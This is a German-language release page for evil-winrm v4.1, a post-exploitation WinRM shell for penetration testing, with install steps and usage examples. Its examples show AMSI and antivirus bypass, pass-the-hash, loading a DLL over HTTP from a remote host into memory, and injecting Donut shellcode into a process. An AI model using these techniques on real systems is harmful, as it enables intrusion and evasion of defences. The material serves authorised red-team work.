Zurück zu den Updates
New releaseSep 4, 2026

evil-winrm v4.1

Die ultimative WinRM-Shell für Hacking/Pentesting

Teilen

Evil-WinRM Version-shield Ruby2.3-shield Gem-Version License-shield Docker-shield

Die ultimative WinRM-Shell für Hacking/Pentesting

Banner

Beschreibung & Zweck

Diese Shell ist die ultimative WinRM-Shell für Hacking/Pentesting.

WinRM (Windows Remote Management) ist die Microsoft-Implementierung des WS-Management-Protokolls. Ein standardbasiertes SOAP-Protokoll, das Hardware und Betriebssysteme verschiedener Hersteller interoperabel macht. Microsoft hat es in seine Betriebssysteme integriert, um Systemadministratoren das Leben zu erleichtern.

Dieses Programm kann auf jedem Microsoft Windows Server mit aktiviertem Feature (normalerweise auf Port 5985) verwendet werden, natürlich nur wenn du Anmeldedaten und Berechtigungen zur Nutzung hast. Man kann also sagen, dass es in einer Post-Exploitation-Phase des Hackings/Pentestings eingesetzt werden kann. Der Zweck dieses Programms ist es, nützliche und einfach zu bedienende Funktionen für Hacking bereitzustellen. Es kann auch von Systemadministratoren für legitime Zwecke verwendet werden, aber die meisten Funktionen sind auf Hacking/Pentesting ausgerichtet.

Es basiert hauptsächlich auf der WinRM-Ruby-Bibliothek, die ihre Arbeitsweise seit Version 2.0 geändert hat. Statt des WinRM- Protokolls wird nun PSRP (Powershell Remoting Protocol) verwendet, um Runspace-Pools zu initialisieren sowie Pipelines zu erstellen und zu verarbeiten.

Funktionen

  • Kompatibel mit Linux- und Windows-Client-Systemen
  • Laden von Powershell-Skripten in den Speicher
  • Laden von DLL-Dateien in den Speicher unter Umgehung einiger AVs
  • Laden von C#-Assemblies in den Speicher unter Umgehung einiger AVs
  • Laden von x64-Payloads, generiert mit der großartigen donut-Technik
  • Dynamischer AMSI-Bypass zur Umgehung von AV-Signaturen
  • Pass-the-Hash-Unterstützung
  • Kerberos-Auth-Unterstützung, einschließlich ccache- und kirbi-Dateien
  • SSL- und Zertifikatsunterstützung
  • Hoch- und Herunterladen von Dateien mit Fortschrittsanzeige
  • Auflisten von Diensten entfernter Maschinen ohne Privilegien
  • Befehlsverlauf
  • WinRM-Befehlsvervollständigung
  • Vervollständigung lokaler Dateien/Verzeichnisse
  • Vervollständigung entfernter Pfade (Dateien/Verzeichnisse) (optional deaktivierbar)
  • Farbgebung bei Eingabeaufforderung und Ausgabemeldungen (optional deaktivierbar)
  • Optionale Protokollierungsfunktion
  • Docker-Unterstützung (vorgefertigte Images verfügbar auf Dockerhub)
  • Trap-Erfassung zur Vermeidung versehentlichen Shell-Exits bei Strg+C
  • Anpassbarer User-Agent unter Verwendung des legitimen Windows-Standardwerts
  • ETW-Bypass (Event Tracing for Windows)

Hilfe```

Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-a USERAGENT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [-K TICKET_FILE] [--spn SPN_PREFIX] [-l] -S, --ssl Enable ssl -c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate -k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate -r, --realm DOMAIN Kerberos auth, it has to be set also in /etc/krb5.conf file using this format -> CONTOSO.COM = { kdc = fooserver.contoso.com } -K, --ccache TICKET_FILE Path to Kerberos ticket file (ccache or kirbi format, auto-detected) -s, --scripts PS_SCRIPTS_PATH Powershell scripts local path --spn SPN_PREFIX SPN prefix for Kerberos auth (default HTTP) -e, --executables EXES_PATH C# executables local path -i, --ip IP Remote host IP or hostname. FQDN for Kerberos auth (required) -U, --url URL Remote url endpoint (default /wsman) -u, --user USER Username (required if not using kerberos) -p, --password PASS Password -H, --hash HASH NTHash -P, --port PORT Remote host port (default 5985) -a, --user-agent Specify connection user-agent (default Microsoft WinRM Client) -V, --version Show version -n, --no-colors Disable colors -N, --no-rpath-completion Disable remote path completion -l, --log Log the WinRM session -h, --help Display this help message

## Anforderungen
Ruby 2.3 oder höher ist erforderlich. Einige Ruby-Gems werden ebenfalls benötigt: `winrm >=2.3.7`, `winrm-fs >=1.3.2`, `stringio >=0.0.2`, `logger >= 1.4.3`, `fileutils >= 0.7.2`, `readline ~> 0.0.4`, `readline-ext ~> 0.2.0`.
Je nach Installationsmethode (4 verfügbar) kann deren Installation manuell erfolgen müssen.

Eine weitere wichtige Anforderung, die nur für die Kerberos-Authentifizierung verwendet wird, ist die Installation des Kerberos-Pakets für die Netzwerkauthentifizierung.
Für einige Linux-Distributionen auf Debian-Basis (Kali, Parrot usw.) heißt es `krb5-user`. Für BlackArch heißt es `krb5`, und für andere Linux-Distributionen kann es wahrscheinlich anders heißen.

Die Funktion zur Remote-Pfadvervollständigung erfordert die native `readline-ext`-Bindung, die automatisch als Evil-WinRM-Abhängigkeit installiert wird. Einige Systeme benötigen zusätzliche Entwicklungspakete, um sie zu kompilieren. Weitere Informationen finden Sie [im Abschnitt unten](#Remote-path-completion).

## Installation & Schnellstart (4 Methoden)

### Methode 1. Direkte Installation als Ruby-Gem (Abhängigkeiten werden automatisch auf Ihrem System installiert)
 - Schritt 1. Installieren Sie es (Abhängigkeiten werden automatisch installiert): ```gem install evil-winrm```
 - Schritt 2. Fertig. Starten Sie es einfach!```
evil-winrm  -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Methode 2. Git-Clone und manuelle Installation der Abhängigkeiten auf Ihrem System

  • Schritt 1. Abhängigkeiten manuell installieren: sudo gem install winrm winrm-fs stringio logger fileutils readline readline-ext
  • Schritt 2. Das Repository klonen: git clone https://github.com/Hackplayers/evil-winrm.git
  • Schritt 3. Fertig. Einfach starten!``` cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'
### Methode 3. Verwendung von Bundler (Abhängigkeiten werden nicht auf Ihrem System installiert, nur zur Nutzung von evil-winrm)
 - Schritt 1. Bundler installieren: `gem install bundler`
 - Schritt 2. Das Repository klonen: `git clone https://github.com/Hackplayers/evil-winrm.git`
 - Schritt 3. Abhängigkeiten mit Bundler installieren: `cd evil-winrm && bundle install --path vendor/bundle`
 - Schritt 4. Starten Sie es mit Bundler:```
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/home/foo/ps1_scripts/' -e '/home/foo/exe_files/'

Methode 4. Verwendung von Docker

  • Schritt 1. Starten Sie einen Docker-Container basierend auf einem bereits erstellten Image:``` docker run --rm -ti --name evil-winrm -v /home/foo/ps1_scripts:/ps1_scripts -v /home/foo/exe_files:/exe_files -v /home/foo/data:/data oscarakaelvis/evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!' -s '/ps1_scripts/' -e '/exe_files/'
## Dokumentation

### Klartext-Passwort
Wenn du das Passwort nicht im Klartext angeben möchtest, kannst du optional das `-p`-Argument weglassen, und das Passwort wird abgefragt, ohne angezeigt zu werden.

### IPv6
Um IPv6 zu verwenden, muss die Adresse in /etc/hosts eingetragen werden. Setze einfach den bereits festgelegten Hostnamen nach dem `-i`-Argument ein, anstatt einer IP-Adresse.

### Grundlegende Befehle
 - **upload**: Lokale Dateien können mit der Tabulatortaste automatisch vervollständigt werden.
   - Verwendung: `upload local_filename` oder `upload local_filename destination_filename`
 - **download**:
   - Verwendung: `download remote_filename` oder `download remote_filename destination_filename`

 __Hinweise zu Pfaden (upload/download)__:
   Relative Pfade sind bei download/upload nicht erlaubt. Verwende Dateinamen im aktuellen Verzeichnis oder absolute Pfade.
   Wenn du Evil-WinRM in einer Docker-Umgebung verwendest, beachte, dass alle lokalen Pfade unter `/data` liegen sollten und stelle sicher, dass du diesen als Volume gemappt hast, um auf heruntergeladene Dateien zugreifen oder Dateien von deinem lokalen Host-Betriebssystem hochladen zu können.

 - **services**: Listet alle Dienste auf und zeigt an, ob dein Konto Berechtigungen für jeden einzelnen hat. Für diese Funktion sind keine Administratorrechte erforderlich.
 - **menu**: Lädt die Funktionen `Invoke-Binary`, `Dll-Loader` und `Donut-Loader`, die wir unten erklären werden. Wenn eine ps1 geladen wird, werden alle ihre Funktionen angezeigt.
 - **clear** oder **cls**: Leert den Terminalbildschirm. Du kannst auch die Tastenkombination `Ctrl+L` verwenden, um den Bildschirm zu leeren.
 - **exit** oder **quit**: Beendet die Evil-WinRM-Sitzung. Du kannst auch die Tastenkombination `Ctrl+D` verwenden.```
*Evil-WinRM* PS C:\> menu

   ,.   (   .      )               "            ,.   (   .      )       .
  ("  (  )  )'     ,'             (     '    ("     )  )'     ,'   .  ,)
.; )  ' (( (" )    ;(,      .     ;)  "  )"  .; )  ' (( (" )   );(,   )((
_".,_,.__).,) (.._( ._),     )  , (._..( '.._"._, . '._)_(..,_(_".) _( _')
\_   _____/__  _|__|  |    ((  (  /  \    /  \__| ____\______   \  /     \
 |    __)_\  \/ /  |  |    ;_)_') \   \/\/   /  |/    \|       _/ /  \ /  \
 |        \\   /|  |  |__ /_____/  \        /|  |   |  \    |   \/    Y    \
/_______  / \_/ |__|____/           \__/\  / |__|___|  /____|_  /\____|__  /
        \/                               \/          \/       \/         \/

          By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers

[+] Dll-Loader
[+] Donut-Loader
[+] Invoke-Binary
[+] Bypass-4MSI
[+] services
[+] upload
[+] download
[+] clear
[+] cls
[+] menu
[+] exit

PowerShell-Skripte laden

  • Um eine ps1-Datei zu laden, musst du nur den Namen eingeben (Auto-Vervollständigung mit Tab ist möglich). Die Skripte müssen sich im Pfad befinden, der mit dem Argument -s festgelegt wurde. Gib erneut menu ein und sieh dir die geladenen Funktionen an. Sehr große Dateien können lange zum Laden benötigen.``` Evil-WinRM PS C:> PowerView.ps1 Evil-WinRM PS C:> menu

    ,. ( . ) " ,. ( . ) . (" ( ) )' ,' ( ' (" ) )' ,' . ,) .; ) ' (( (" ) ;(, . ;) " )" .; ) ' (( (" ) );(, )(( ".,,.).,) (..( .), ) , (...( '.."., . '.)(..,(".) ( ') _ / _|| | (( ( / \ / _| _ \ /
    | __)
    \ / / | | ;
    )') \ // / |/ | / / \ /
    | \ /| | |
    /
    / \ /| | | \ | / Y
    /
    _____ / _/ |__|
    / _/\ / ||| /__| /__| / / / / / /

       By: CyberVaca, OscarAkaElvis, Jarilaos, Arale61 @Hackplayers
    

[+] Add-DomainAltSecurityIdentity [+] Add-DomainGroupMember [+] Add-DomainObjectAcl [+] Add-RemoteConnection [+] Add-Win32Type [+] Convert-ADName [+] Convert-DNSRecord [+] ConvertFrom-LDAPLogonHours [+] ConvertFrom-SID [+] ConvertFrom-UACValue [+] Convert-LDAPProperty [+] Convert-LogonHours [+] ConvertTo-SID [+] Dll-Loader [+] Donut-Loader [+] Export-PowerViewCSV [+] field [+] Find-DomainLocalGroupMember

### Erweiterte Befehle
- Invoke-Binary: ermöglicht die Ausführung von .NET-Assemblies im Speicher. Der Name kann mithilfe der Tabulatortaste automatisch vervollständigt werden. Argumente für die EXE-Datei können durch Kommas getrennt übergeben werden. Beispiel: `Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'`. Die ausführbaren Dateien müssen sich im Pfad befinden, der mit dem Argument `-e` festgelegt wurde.```
*Evil-WinRM* PS C:\> Invoke-Binary
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.

*Evil-WinRM* PS C:\> Invoke-Binary /opt/csharp/Rubeus.exe

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.0


 Ticket requests and renewals:


  • Dll-Loader: ermöglicht das Laden von DLL-Bibliotheken in den Speicher, äquivalent zu: [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("pwn.dll"))

    Die DLL-Datei kann per SMB, HTTP oder lokal gehostet werden. Sobald sie geladen ist, tippe menu, danach ist es möglich, alle Funktionen automatisch zu vervollständigen.``` Evil-WinRM PS C:> Dll-Loader .SYNOPSIS dll loader. PowerShell Function: Dll-Loader Author: Hector de Armas (3v4Si0N)

    Required dependencies: None Optional dependencies: None .DESCRIPTION . .EXAMPLE Dll-Loader -smb -path \192.168.139.132\share\myDll.dll Dll-Loader -local -path C:\Users\Pepito\Desktop\myDll.dll Dll-Loader -http -path http://example.com/myDll.dll

    Description

    Function that loads an arbitrary dll

Evil-WinRM PS C:> Dll-Loader -http http://10.10.10.10/SharpSploit.dll [+] Reading dll by HTTP [+] Loading dll... Evil-WinRM PS C:\Users\test\Documents> menu

[... Snip ...]

Evil-WinRM PS C:> [SharpSploit.Enumeration.Host]::GetProcessList()

Pid : 0 Ppid : 0 Name : Idle Path : SessionID : 0 Owner : Architecture : x64

- Donut-Loader: ermöglicht das Injizieren von x64-Payloads, die mit der großartigen [Donut]-Technik generiert wurden. Keine Notwendigkeit, die payload.bin zu kodieren, einfach generieren und injizieren!```
*Evil-WinRM* PS C:\> Donut-Loader
.SYNOPSIS
    Donut Loader.
    PowerShell Function: Donut-Loader
    Author: Luis Vacas (CyberVaca)
    Based code: TheWover

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION

.EXAMPLE
    Donut-Loader -process_id 2195 -donutfile /home/cybervaca/donut.bin
    Donut-Loader -process_id (get-process notepad).id -donutfile /home/cybervaca/donut.bin

    Description
    -----------
    Function that loads an arbitrary donut :D

Du kannst diesen donut-maker verwenden, um die payload.bin zu generieren, falls du kein Windows verwendest. Dieses Skript verwendet ein Python-Modul, das von Marcello Salvati (byt3bl33d3r) geschrieben wurde. Es kann mit pip installiert werden: `pip3 install donut-shellcode```` python3 donut-maker.py -i Covenant.exe


.'/,-Y" "-. l.Y ^. /\ __ Donuts! i /" "
| /" "\ o ! l ] o !
./ \ _ _ .
__./ "

X / \ _./ ( \ . ..--" ~-. Z,-- /
__. ( / ______) \ l /-----
" / Y \ / | "x
.^ |
j Y

[+] Donut generated successfully: payload.bin

- Bypass-4MSI: patcht den AMSI-Schutz.```
*Evil-WinRM* PS C:\> #amsiscanbuffer
At line:1 char:1
+ #amsiscanbuffer
+ ~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\>
*Evil-WinRM* PS C:\> Bypass-4MSI
[+] Success!

*Evil-WinRM* PS C:\> #amsiscanbuffer
*Evil-WinRM* PS C:\>

Kerberos

  • Zuerst musst du die Uhrzeit mit dem DC synchronisieren: rdate -n <dc_ip>

  • Zum Erstellen von Tickets gibt es viele Möglichkeiten:

    • Mit ticketer.py von Impacket
    • Mit Rubeus oder Mimikatz, um Kirbi-Tickets zu erhalten (automatische Konvertierung in CCache wird unterstützt)
  • Ticketdatei hinzufügen. Es gibt 3 Möglichkeiten:

    export KRB5CCNAME=/foo/var/ticket.ccache

    cp ticket.ccache /tmp/krb5cc_0

    Den -K-Parameter verwenden: evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.ccache oder evil-winrm -i hostname -r DOMAIN.COM -K /path/to/ticket.kirbi

    Bei Verwendung von -K erkennt das Tool automatisch:

    • Das Ticketformat (CCache oder Kirbi)
    • Konvertiert Kirbi-Tickets bei Bedarf in das CCache-Format (erfordert ticket_converter.py oder impacket-ticketConverter)
    • Validiert, dass die Datei existiert und lesbar ist
    • Setzt die Umgebungsvariable KRB5CCNAME
    • Löst IP-Adressen in FQDNs auf, für bessere Kerberos-Kompatibilität
  • Realm zu /etc/krb5.conf hinzufügen (für Linux). Die Verwendung dieses Formats ist wichtig: ``` CONTOSO.COM = { kdc = fooserver.contoso.com }

  • Kerberos-Tickets mit klist überprüfen

  • Zum Entfernen eines Tickets verwenden: kdestroy

  • Weitere Informationen zu Kerberos findest du in diesem [Spickzettel]

Remote-Pfad-Vervollständigung

Diese Funktion erfordert die native readline-ext-Bindung. Evil-WinRM deklariert sie als Abhängigkeit, sodass sie bei der Installation über RubyGems oder Bundler automatisch installiert wird. Wenn die native Erweiterung nicht erstellt werden kann, funktioniert diese Funktion nicht (eine Warnung wird angezeigt).

Hinweis für Ruby 3.3+: ext/readline wurde in Ruby 3.3 aus dem Quellcode entfernt (Feature #19616). Daher kann Methode 1 unten nicht mit Ruby 3.3 oder neuer verwendet werden. Auf Debian-basierten Systemen installiere das erforderliche Entwicklungspaket, bevor du Evil-WinRM oder seine Abhängigkeiten installierst:``` sudo apt install libreadline-dev

Die Abhängigkeit `readline-ext` bewirkt, dass `require 'readline'` GNU Readline anstelle von `reline` lädt, dem `quoting_detection_proc` fehlt, die Methode, nach der Evil-WinRM sucht. Die folgenden Methoden richten sich an ältere Ruby-Versionen und werden aus Kompatibilitätsgründen beibehalten.

#### Methode 1 (die benötigte Erweiterung kompilieren)

Mit dieser Methode kompilierst du Ruby mit der benötigten Readline-Funktion, nutzt aber nur die Bibliothek, ohne die Standard-Ruby-Version auf deinem System zu ändern. Aus diesem Grund ist dies die am meisten empfohlene Methode.

Nehmen wir an, du hast auf deinem Debian-basierten System Ruby 2.7.3:```
# Install needed package
apt install libreadline-dev

# Check your ruby version
ruby --version
ruby 2.7.3p183 (2021-04-05 revision 6847ee089d) [x86_64-linux-gnu]

# Download ruby source code (2.7.3 in this case):
wget https://ftp.ruby-lang.org/pub/ruby/2.7/ruby-2.7.3.tar.gz

# Extract source code
tar -xf ruby-2.7.3.tar.gz

# Compile the readline extension:
cd ruby-2.7.3/ext/readline
ruby ./extconf.rb
make

# Patch current version of the ruby readline extension:
sudo cp /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so.bk
sudo cp -f readline.so /usr/lib/x86_64-linux-gnu/ruby/2.7.0/readline.so

Methode 2 (Ruby installieren, um es nur für evil-winrm mit rbenv zu verwenden)

Nehmen wir an, du möchtest Ruby 2.7.1 auf einem Debian-basierten Linux und verwendest zsh. Dieses Skript automatisiert das. Du musst es aus demselben Verzeichnis starten, in dem sich evil-winrm.rb und die Gemfile befinden (z. B. das nach einem git clone erstellte evil-winrm-Verzeichnis):``` #!/usr/bin/env zsh

Uninstall possible current installed versions

sudo gem uninstall evil-winrm -q gem uninstall evil-winrm -q

Install rbenv

sudo apt install rbenv

Config rbenv on zshrc config file

echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.zshrc echo 'eval "$(rbenv init -)"' >> ~/.zshrc source ~/.zshrc

Install ruby with readline support

export RUBY_CONFIGURE_OPTS=--with-readline-dir="/usr/include/readline" rbenv install 2.7.1

Create file '.ruby-version' to set right ruby version

rbenv local 2.7.1

Install local gems

gem install bundler bundle install

current_evwr="$(pwd)/evil-winrm.rb"

sudo bash -c "cat << 'EOF' > /usr/bin/evil-winrm #!/usr/bin/env sh "${current_evwr}" "$@" EOF"

sudo chmod +x /usr/bin/evil-winrm

Dann kannst du evil-winrm sicher mit dem neu installierten Ruby mit der erforderlichen Readline-Unterstützung von jedem Speicherort aus starten.

#### Methode 3 (komplettes Ruby kompilieren)

Wenn du es selbst kompilieren möchtest, kannst du diesen Schritten folgen. Nehmen wir an, du möchtest Ruby 2.7.3:```
wget -O ruby-install-0.8.1.tar.gz https://github.com/postmodern/ruby-install/archive/v0.8.1.tar.gz
tar -xzvf ruby-install-0.8.1.tar.gz
cd ruby-install-0.8.1/
sudo make install
ruby-install ruby 2.7.3 -- --with-readline-dir=/usr/include/readline

Je nach System wird es unter /opt/rubies/ruby-2.7.3 oder möglicherweise unter ~/.rubies/ruby-2.7.3 installiert.

Jetzt müssen nur noch die evil-winrm-Abhängigkeiten für diese neu installierte Ruby-Version installiert werden. Der einfachste Weg ist, den Befehl /opt/rubies/ruby-2.7.3/bin/gem install evil-winrm auszuführen. Der verwendete gem-Befehl muss zur neuen Ruby-Installation gehören.

Danach können Sie Ihr neu installiertes Ruby sicher starten, um es mit evil-winrm zu verwenden: /opt/rubies/ruby-2.7.3/bin/ruby ./evil-winrm.rb -h

Es wird empfohlen, dieses neu installierte Ruby nur zum Starten von evil-winrm zu verwenden. Wenn Sie es als Standard-Ruby für Ihr System einrichten, beachten Sie, dass keine Abhängigkeits-Gems installiert sind. Einige Ruby-basierte Software wie Metasploit oder andere könnte aufgrund von Abhängigkeitsproblemen nicht korrekt starten.

Protokollierung

Diese Funktion erstellt Dateien in Ihrem $HOME-Verzeichnis, die Befehle und die Ausgaben der WinRM-Sitzungen speichert.

Befehlsverlauf

Evil-WinRM führt einen persistenten Befehlsverlauf für jede Kombination aus Host und Benutzer. Der Verlauf wird im Verzeichnis ~/.evil-winrm/history/ mit Dateien gespeichert, die als {host}_{user}.hist benannt sind.

Wenn Sie eine Verbindung zu einem Rechner herstellen, auf den Sie zuvor zugegriffen haben, können Sie mit den Pfeiltasten (Hoch/Runter) durch Ihre vorherigen Befehle navigieren. Der Verlauf wird nach jeder Befehlsausführung automatisch gespeichert und geladen, wenn Sie sich erneut mit demselben Host und demselben Benutzer verbinden.

Bekannte Probleme. OpenSSL-Fehler

Manchmal können Sie auf einen Fehler wie diesen stoßen:``` Error: An error of type OpenSSL::Digest::DigestError happened, message is Digest initialization failed: initialization error

Der Fehler wird dadurch verursacht, dass die OpenSSL-3.0-Version einige veraltete Funktionen wie MD4 entfernt hat, die zum Ausführen dieses Tools benötigt werden. Es gibt verschiedene bestehende Workarounds, um mit dieser Situation umzugehen:

 - Aktualisieren Sie Ihr System auf den neuesten Stand. Wahrscheinlich wurde dieses Problem automatisch in den neuesten Ruby-Versionen behoben, die neuere OpenSSL-Versionen verwenden.
 - Kompilieren Sie Ihr eigenes Ruby mit altem OpenSSL 1.x anstelle von OpenSSL 3.0 oder kompilieren Sie es mit OpenSSL > 3.0, um die problematische 3.0-Version zu vermeiden.
 - Der einfachste Weg. Bearbeiten Sie Ihre Konfigurationsdatei `/etc/ssl/openssl.cnf` und stellen Sie sicher, dass die Konfiguration wie folgt aussieht:```
openssl_conf = openssl_init

[openssl_init]
providers = provider_sect

[provider_sect]
default = default_sect
legacy = legacy_sect

[default_sect]
activate = 1

[legacy_sect]
activate = 1
  • Als Alternative für den letzten Workaround: Falls dein System LibreSSL anstelle von OpenSSL verwendet oder du einfach die Systemkonfigurationsdatei nicht ändern möchtest, erstelle eine einfache Datei mit dem obigen Inhalt. Es kann ein beliebiger Name verwendet werden, zum Beispiel evil-tls.conf. Exportiere danach eine Umgebungsvariable, um das System zur Nutzung dieser Datei zu zwingen: export OPENSSL_CONF="/pfad/zu/evil-tls.conf". Starte anschließend das Tool – der Fehler wird verschwinden.

Changelog:

Das Changelog und Projektänderungen können hier eingesehen werden: CHANGELOG.md

Credits:

Team:

Besonderer Dank an:

  • Vis0r für seine persönliche Unterstützung.
  • Alamot für seinen ursprünglichen Code.
  • 3v4Si0N für seinen großartigen DLL-Loader.
  • WinRb Alle Mitwirkenden der Ruby-Bibliothek.
  • TheWover für sein großartiges Donut-Tool.
  • byt3bl33d3r für seine Python-Bibliothek zur Erstellung von Donut-Payloads.
  • Sh11td0wn für Inspiration zu neuen Funktionen.
  • Borch für seine Hilfe bei der Implementierung der Logging-Funktion.
  • noraj für seine Hilfe bei der Wartung des Tools über Ruby-Versionen hinweg.
  • Hackplayers dafür, dass sie dieser Software auf ihrem GitHub einen Platz gegeben haben.

Haftungsausschluss & Lizenz

Dieses Skript ist unter LGPLv3+ lizenziert. Direkter Link zur Lizenz.

Evil-WinRM sollte nur für autorisierte Penetrationstests und/oder gemeinnützige Bildungszwecke verwendet werden. Jeglicher Missbrauch dieser Software liegt nicht in der Verantwortung des Autors oder anderer Mitwirkender. Verwende es auf eigenen Servern und/oder nur mit Erlaubnis des Serverbesitzers.

Kategorien